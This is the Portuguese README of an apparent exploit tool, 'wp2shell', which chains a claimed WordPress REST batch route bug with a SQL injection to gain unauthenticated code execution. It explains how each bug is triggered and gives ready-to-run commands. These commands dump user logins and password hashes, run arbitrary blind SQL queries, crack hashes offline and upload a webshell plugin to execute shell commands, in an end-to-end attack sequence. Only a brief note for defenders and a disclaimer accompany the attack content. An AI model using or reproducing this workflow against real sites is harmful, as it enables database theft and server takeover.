
CVE-2026-63030 (RCE) + CVE-2026-60137 (SQLi)
Execução Remota de Código Não Autenticada para POC do WordPress Core (CVE-2026-63030 + CVE-2026-60137)
O exploit wp2shell para uma cadeia de vulnerabilidades críticas no núcleo do WordPress. Ele encadeia um bug de confusão de rota de lote (batch) da API REST com uma injeção de SQL em WP_Query para alcançar execução remota de código não autenticada em instalações WordPress vulneráveis.
| Detalhe | Informações |
|---|---|
| CVEs | CVE-2026-63030 (confusão de rota de lote REST) + CVE-2026-60137 (SQLi author__not_in) |
| Afetados | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Corrigida | 6.9.5, 7.0.2 |
| Autenticação Necessária | Nenhuma — não autenticado |
| CVSS | Crítico (cadeia RCE) |
| Descoberto Por | Adam Kues (Assetnote / Searchlight Cyber) |
| Dependências | Python 3.8+ — apenas biblioteca padrão |
O exploit encadeia dois bugs no núcleo do WordPress:
CVE-2026-60137 — Injeção de SQL – Quando author__not_in é passado como uma string em vez de um array, o WordPress ignora a proteção de sanitização is_array() e interpola o valor bruto em uma cláusula SQL NOT IN (...).
CVE-2026-63030 — Confusão de Rota de Lote (Batch) – O endpoint /wp-json/batch/v1 constrói arrays paralelos $matches e $validation. Uma sub-requisição malformada é anexada a $validation, mas não a $matches, causando um deslocamento de índice de +1. A sub-requisição i é despachada com o handler da sub-requisição i+1.
Combinadas: Uma requisição POST /wp/v2/posts contendo uma requisição interna GET /wp/v2/users com uma string author_exclude contorna tanto a lista de permissões de métodos quanto a sanitização de entrada. A string chega ao WP_Query como author__not_in e é interpolada no SQL — proporcionando injeção de SQL cega não autenticada.
A partir daí, a ferramenta pode:
git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
Só isso. Nenhum pacote de terceiros é necessário.
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
Inicia um menu interativo com toda a funcionalidade disponível por meio de opções numeradas.
check — Confirmar Vulnerabilidade (Seguro)Executa uma sonda de atraso de tempo para confirmar a explorabilidade. Não lê dados e não altera nada.
./wp2shell.py http://target.com check
read — Extrair Dados (Injeção de SQL Cega)Extrai informações do banco de dados usando injeção de SQL cega baseada em tempo.
# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read
# Extract user logins and password hashes
./wp2shell.py http://target.com read --users
# Extract database name
./wp2shell.py http://target.com read --database
# Extract MySQL version
./wp2shell.py http://target.com read --version
# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — Execução Remota de CódigoRequer credenciais de administrador válidas. A injeção de SQL pode recuperar o hash da senha, mas você deve fornecer a senha em texto puro recuperada.
# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check
# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users
# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| Branch | Afetadas | Corrigida |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (apenas SQLi, sem RCE) | 6.8.6 |
Versões anteriores à 6.9.0 não são afetadas pela cadeia RCE completa.
Para Defensores:
POST /wp-json/batch/v1 com corpos requests aninhados404 na rota de lote nem sempre significa "corrigido" — também pode significar que um WAF/CDN está bloqueando o acesso anônimo à API RESTEsta ferramenta é apenas para fins educacionais e de testes de segurança autorizados.
Para mais detalhes sobre a vulnerabilidade, consulte o blog de pesquisa do Searchlight Cyber.
| Recurso | Descrição |
|---|
| Verificação de Vulnerabilidade | Sonda segura de atraso de tempo — não lê dados, não altera nada |
| Extração de Dados | Injeção de SQL cega com otimização de busca binária para extração eficiente |
| Despejo de Hash de Usuários | Extrai hashes user_login e user_pass de wp_users |
| Execução Remota de Código | Autentica como admin, envia um plugin webshell, executa comandos |
| Shell Interativo | Sessão persistente de execução de comandos |
| Saída em Cores | Feedback visual claro para resultados de varredura |
| Sem Dependências | Usa apenas a biblioteca padrão do Python |
| Opção | Descrição |
|---|
--users | Extrai user_login e user_pass de wp_users |
--database | Extrai o nome do banco de dados atual |
--version | Extrai a versão do MySQL |
--query "SQL" | Executa uma consulta SQL personalizada (extração cega) |
--user USER | Nome de usuário admin para RCE |
--password PASS | Senha do admin para RCE (texto puro, recuperada via SQLi) |
--cmd CMD | Comando a ser executado via webshell |